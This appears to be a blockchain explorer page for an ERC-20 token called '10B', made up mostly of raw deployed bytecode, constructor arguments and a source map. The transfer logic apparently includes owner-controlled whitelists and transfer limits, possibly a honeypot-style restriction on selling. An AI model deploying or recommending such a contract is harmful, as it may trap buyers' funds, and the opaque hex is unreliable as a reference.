080359060200190929190505050610a81565b60405180821515815260200191505060405180910390f35b3480156103a257600080fd5b506103ab610afb565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103eb5780820151818401526020810190506103d0565b50505050905090810190601f1680156104185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104726004803603604081101561043c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b99565b60405180821515815260200191505060405180910390f35b34801561049657600080fd5b506104f9600480360360408110156104ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bae565b6040518082815260200191505060405180910390f35b60188054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105a55780601f1061057a576101008083540402835291602001916105a5565b820191906000526020600020905b81548152906001019060200180831161058857829003601f168201915b505050505081565b600081600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b601a5481565b60008373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107ee5781600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561076357600080fd5b81600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b6107f9838584610bd3565b61080257600080fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561084e57600080fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a0857600080fd5b6001601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b600c6020528060005260406000206000915090505481565b60006012600a0a820260128190555082601381905550601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610af157600080fd5b6001905092915050565b60198054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b915780601f10610b6657610100808354040283529160200191610b91565b820191906000526020600020905b815481529060010190602001808311610b7457829003601f168201915b505050505081565b6000610ba63384846106a5565b905092915050565b600f602052816000526040600020602052806000526040600020600091509150505481565b600080601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610cf0576000610c7a601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661126f565b90506006548111610c8d57600654610c8f565b805b600681905550610cc0601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661131b565b9150610cca6113a5565b610cd45781610ce8565b6010548211610ce557601054610ce7565b815b5b601081905550505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610e0c576000610d96601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661126f565b90506007548111610da957600754610dab565b805b600781905550610ddc601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661131b565b9150610de66113a5565b610df05781610e04565b6008548211610e0157600854610e03565b815b5b600881905550505b610e146113a5565b15610fee57601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610e7e576010548114610e7d57600080fd5b5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610ee3576008548114610ee257600080fd5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610f8c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610fe45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b610fed57600080fd5b5b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806110975750601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806110ef5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806111475750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8061119f5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806111f35750601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611202576001915050611268565b601354601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580611253575060125483115b15611262576000915050611268565b60019150505b9392505050565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156112d857600080fd5b505afa1580156112ec573d6000803e3d6000fd5b505050506040513d602081101561130257600080fd5b8101908080519060200190929190505050905092915050565b60008173ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561136357600080fd5b505afa158015611377573d6000803e3d6000fd5b505050506040513d602081101561138d57600080fd5b81019080805190602001909291905050509050919050565b6000600654600b5410806113bc5750600754600a54105b90509056fea2646970667358221220a64478fa7dc71613ad458254f50383eeb34671a279ba22885e63b9a8b1816e4964736f6c63430007060033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000003b9aca000000000000000000000000000000000000000000000000000000000000000003313042000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000033130420000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): 10B
Arg [1] : _symbol (string): 10B
Arg [2] : _supply (uint256): 1000000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000000000000000000000000000000000003b9aca00
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [4] : 3130420000000000000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [6] : 3130420000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

5792:9004:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14176:18;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12980:213;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;14228:23;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10023:486;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;14258:34;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;11907:139;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;9200:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6025:215;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;14201:20;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6246:137;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;9354:63;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;14176:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;12980:213::-;13052:4;13103:6;13069:9;:21;13079:10;13069:21;;;;;;;;;;;;;;;:31;13091:8;13069:31;;;;;;;;;;;;;;;:40;;;;13146:8;13125:38;;13134:10;13125:38;;;13156:6;13125:38;;;;;;;;;;;;;;;;;;13181:4;13174:11;;12980:213;;;;:::o;14228:23::-;;;;:::o;10023:486::-;10110:4;10145:5;10131:19;;:10;:19;;;10127:132;;10193:6;10161:9;:16;10171:5;10161:16;;;;;;;;;;;;;;;:28;10178:10;10161:28;;;;;;;;;;;;;;;;:38;;10153:47;;;;;;10251:6;10219:9;:16;10229:5;10219:16;;;;;;;;;;;;;;;:28;10236:10;10219:28;;;;;;;;;;;;;;;;:38;;;;;;;;;;;10127:132;10277:27;10285:3;10290:5;10297:6;10277:7;:27::i;:::-;10269:36;;;;;;10335:6;10315:9;:16;10325:5;10315:16;;;;;;;;;;;;;;;;:26;;10307:35;;;;;;10373:6;10353:9;:16;10363:5;10353:16;;;;;;;;;;;;;;;;:26;;;;;;;;;;;10399:6;10381:9;:14;10391:3;10381:14;;;;;;;;;;;;;;;;:24;;;;;;;;;;;10416:10;:17;10427:5;10416:17;;;;;;;;;;;;;;;;:19;;;;;;;;;;;;;10467:3;10451:28;;10460:5;10451:28;;;10472:6;10451:28;;;;;;;;;;;;;;;;;;10497:4;10490:11;;10023:486;;;;;:::o;14258:34::-;14290:2;14258:34;:::o;11907:139::-;11952:4;11991:5;;;;;;;;;;;11977:19;;:10;:19;;;11969:28;;;;;;12022:4;12008:7;:13;12016:4;12008:13;;;;;;;;;;;;;;;;:18;;;;;;;;;;;;;;;;;;12034:4;12027:11;;11907:139;;;:::o;9200:42::-;;;;;;;;;;;;;;;;;:::o;6025:215::-;6090:4;14290:2;6129;:21;6119:8;:32;6108:8;:43;;;;6164:7;6153:8;:18;;;;6204:5;;;;;;;;;;;6190:19;;:10;:19;;;6182:28;;;;;;6228:4;6221:11;;6025:215;;;;:::o;14201:20::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6246:137::-;6314:4;6338:37;6351:10;6363:3;6368:6;6338:12;:37::i;:::-;6331:44;;6246:137;;;;:::o;9354:63::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;7773:764::-;7848:4;7855:6;7883:5;;;;;;;;;;;7876:12;;:3;:12;;;7872:126;;;7891:6;7900:12;7904:5;;;;;;;;;;;7910:1;;;;;;;;;;7900:3;:12::i;:::-;7891:21;;7922:1;;7918;:5;:13;;7930:1;;7918:13;;;7926:1;7918:13;7914:1;:17;;;;7951:10;7955:5;;;;;;;;;;;7951:3;:10::i;:::-;7947:14;;7968:5;:3;:5::i;:::-;7967:29;;7995:1;7967:29;;;7982:1;;7978;:5;:13;;7990:1;;7978:13;;;7986:1;7978:13;7967:29;7963:1;:33;;;;7872:126;;8019:5;;;;;;;;;;;8012:12;;:3;:12;;;8008:126;;;8027:6;8036:12;8040:5;;;;;;;;;;;8046:1;;;;;;;;;;;8036:3;:12::i;:::-;8027:21;;8058:1;;8054;:5;:13;;8066:1;;8054:13;;;8062:1;8054:13;8050:1;:17;;;;8087:10;8091:5;;;;;;;;;;;8087:3;:10::i;:::-;8083:14;;8104:5;:3;:5::i;:::-;8103:29;;8131:1;8103:29;;;8118:1;;8114;:5;:13;;8126:1;;8114:13;;;8122:1;8114:13;8103:29;8099:1;:33;;;;8008:126;;8148:5;:3;:5::i;:::-;8144:180;;;8167:5;;;;;;;;;;;8160:12;;:3;:12;;;8156:38;;;8190:1;;8185;:6;8176:16;;;;;;8156:38;8227:5;;;;;;;;;;;8220:12;;:3;:12;;;8216:38;;;8250:1;;8245;:6;8236:16;;;;;;8216:38;8285:5;;;;;;;;;;;8278:12;;:3;:12;;;:28;;;;8301:5;;;;;;;;;;;8294:12;;:3;:12;;;8278:28;:42;;;;8317:3;;;;;;;;;;;8310:10;;:3;:10;;;8278:42;8269:53;;;;;;8144:180;8344:5;;;;;;;;;;;8339:10;;:3;:10;;;:24;;;;8358:5;;;;;;;;;;;8351:12;;:5;:12;;;8339:24;:36;;;;8370:5;;;;;;;;;;;8365:10;;:3;:10;;;8339:36;:50;;;;8384:5;;;;;;;;;;;8379:10;;:3;:10;;;8339:50;:61;;;;8397:3;;;;;;;;;;;8392:8;;:3;:8;;;8339:61;:76;;;;8403:7;:12;8411:3;8403:12;;;;;;;;;;;;;;;;;;;;;;;;;8339:76;8335:95;;;8424:4;8417:11;;;;;8335:95;8464:8;;8445:10;:15;8456:3;8445:15;;;;;;;;;;;;;;;;:27;;:48;;;;8485:8;;8476:6;:17;8445:48;8441:66;;;8502:5;8495:12;;;;;8441:66;8525:4;8518:11;;;7773:764;;;;;;:::o;12405:110::-;12461:4;12492:1;12485:19;;;12505:1;12485:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12478:29;;12405:110;;;;:::o;12052:101::-;12098:4;12129:1;12122:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12115:30;;12052:101;;;:::o;11389:87::-;11427:6;11456:1;;11452;;:5;:14;;;;11465:1;;11461;;:5;11452:14;11446:22;;11389:87;:::o

Swarm Source

ipfs://a64478fa7dc71613ad458254f50383eeb34671a279ba22885e63b9a8b1816e49
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.